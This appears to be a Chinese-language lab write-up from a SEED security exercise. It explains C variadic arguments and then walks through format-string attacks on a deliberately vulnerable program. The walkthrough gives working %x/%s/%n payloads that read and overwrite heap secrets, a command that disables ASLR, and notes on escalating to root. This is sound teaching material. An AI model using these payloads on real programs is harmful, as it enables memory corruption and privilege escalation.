探索C語言的可變長參數(shù)
C語言標(biāo)準(zhǔn)庫中頭文件stdarg.h索引的接口包含了一組能夠遍歷變長參數(shù)列表的宏。 主要包含下面幾個:
- va_list 用來聲明一個表示參數(shù)表中各個參數(shù)的變量
- va_start 初始化一個指針來指向變長參數(shù)列表的頭一個變量
- va_arg每次調(diào)用時都會返回當(dāng)前指針指向的變量介杆,并將指針挪至下一個位置,va_arg根據(jù)第二個參數(shù)類型來判斷偏移的距離
- va_end需要在函數(shù)最后調(diào)用轻纪,來進(jìn)行一些清理工作
觀察my_print函數(shù)是如何實(shí)現(xiàn)可變長參數(shù)的?
root@gt:/home/git/myRubbish/seedlab# ./a.out
3.500000
4.500000 5.500000
root@gt:/home/git/myRubbish/seedlab# cat live5_func_arg.c
#include <stdio.h>
#include <stdarg.h>
int myprint(int Narg,...)
{
va_list ap;
int i;
va_start(ap,Narg);
for(i = 0;i < Narg;i++)
{
//printf("%d ",va_arg(ap,int));
printf("%f ",va_arg(ap,double));
}
printf("\n");
va_end(ap);
}
int main()
{
myprint(1,2,3.5);
myprint(2,3,4.5,4,5.5);
return 1;
}
printf庫函數(shù)的底層實(shí)現(xiàn)是什么樣的?
int __printf(const char* format,...)
{
va_list arg;
int done;
va_start(arg,format);
done = vfprintf(stdout,format,arg);
va_end(arg);
return done;
}
printf缺失參數(shù)會發(fā)生什么?
root@gt:/home/git/myRubbish/seedlab/live5# ./a.out
ID:100 ,name:ailx10 ,age:-828258536
root@gt:/home/git/myRubbish/seedlab/live5# cat arg_missmatch.c
#include <stdio.h>
int main()
{
int id = 100;
int age = 25;
char* name = "ailx10";
printf("ID:%d ,name:%s ,age:%d \n",id,name);
return 1;
}
格式化字符串漏洞程序
初始化實(shí)驗(yàn)環(huán)境: 關(guān)閉地址隨機(jī)化:sudo sysctl -w kernel.randomize_va_space=0
認(rèn)識常見的格式化字符:
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ ./a.out
hello
a=5
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ cat test.c
#include <stdio.h>
int main()
{
int a;
printf("hello%n\n",&a);
printf("a=%d\n",a);
return 0;
}
任務(wù):
- 打印secret[1]的值
- 修改secret[1]的值
- 修改secret[1]的值為任意指定值
/* vul_prog.c */
#include<stdio.h>
#include<stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret’s address is 0x%8x (on stack)\n",
(unsigned int)&secret);
printf("The variable secret’s value is 0x%8x (on heap)\n",
(unsigned int)secret);
printf("secret[0]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[0]);
printf("secret[1]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
1.編譯運(yùn)行獲得如下結(jié)果:
[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
%d,%d,%d,%d,%d,%d,%d
-1073745172,0,-1208008724,-1073745004,1,134524936,623666213
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
由結(jié)果可以推斷: printf 函數(shù)棧的第5個參數(shù)是int_input的值
2.我們修改int_input的值為secret[1]的地址會發(fā)生什么? 運(yùn)行獲得如下結(jié)果:
[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%d,%d,%d,%d,%s
-1073745172,0,-1208008724,-1073745004,U
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
由結(jié)果可以推斷:
字符U的ascii碼為0x55,
完成任務(wù)1:打印secret[1]的值.
3.試一試%n ? 運(yùn)行獲得如下結(jié)果:
[04/10/2018 22:58] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%n
bffff2ec,0,b7ff3fec,bffff394,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x1d
由結(jié)果可以推斷:
0x1d = 29,
(8+1)*3+(1+1) = 27 + 2 = 29.
修改secret[1]的值為29.完成任務(wù)2
4.試一試控制輸出寬度? 運(yùn)行獲得如下結(jié)果:
[04/10/2018 23:06] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%8x,%8x,%8x,%996u,%n
bffff2ec, 0,b7ff3fec, 3221222292,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x400
由結(jié)果可以推斷:
0x400 = 1024,
(8+1)*3 + 996 = 1024.
修改secret[1]的值為指定的值1024.完成任務(wù)3.
升級難度
如果第一個scanf語句不存在,如何實(shí)現(xiàn)上面的3個任務(wù)?
1.試一試多打印幾個%08x
?
[04/10/2018 23:48] seed@ubuntu:~/Seed$ ./a.out
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,
bffff2ec,00000000,b7ff3fec,bffff394,00000000,0804b008,78383025,3830252c,30252c78,252c7838,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
由上面的結(jié)果可知: 0804b008
是secret的值,之后的78383025
是%08x
的ascii碼.
secret地址之后是我們的user_input的字符串的ascii碼對應(yīng)的十六進(jìn)制.
根據(jù)這一信息,我們可以將目標(biāo)地址作為user_input的一部分放入椥蟀ぃ空間中.
2.試一試將secret[0]修改成1024 ?
[04/11/2018 00:58] seed@ubuntu:~/Seed$ ./a.out
,%08x,%08x,%08x,%08x,%983u,%n
The string length is 33
[04/11/2018 00:59] seed@ubuntu:~/Seed$ ./vulp < mystring
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
?,bffff2ec,00000000,b7ff3fec,bffff394, 0,
The original secrets: 0x44 -- 0x55
The new secrets: 0x400 -- 0x55
格式化字符串攻擊的應(yīng)用
1.修改函數(shù)返回地址,實(shí)現(xiàn)緩沖區(qū)溢出攻擊,獲取root權(quán)限
2.修改函數(shù)返回地址,實(shí)現(xiàn)return to libc攻擊,獲取root權(quán)限
3.修改判斷語句的變量值,改變程序的執(zhí)行流,實(shí)現(xiàn)競爭漏洞攻擊,獲取root權(quán)限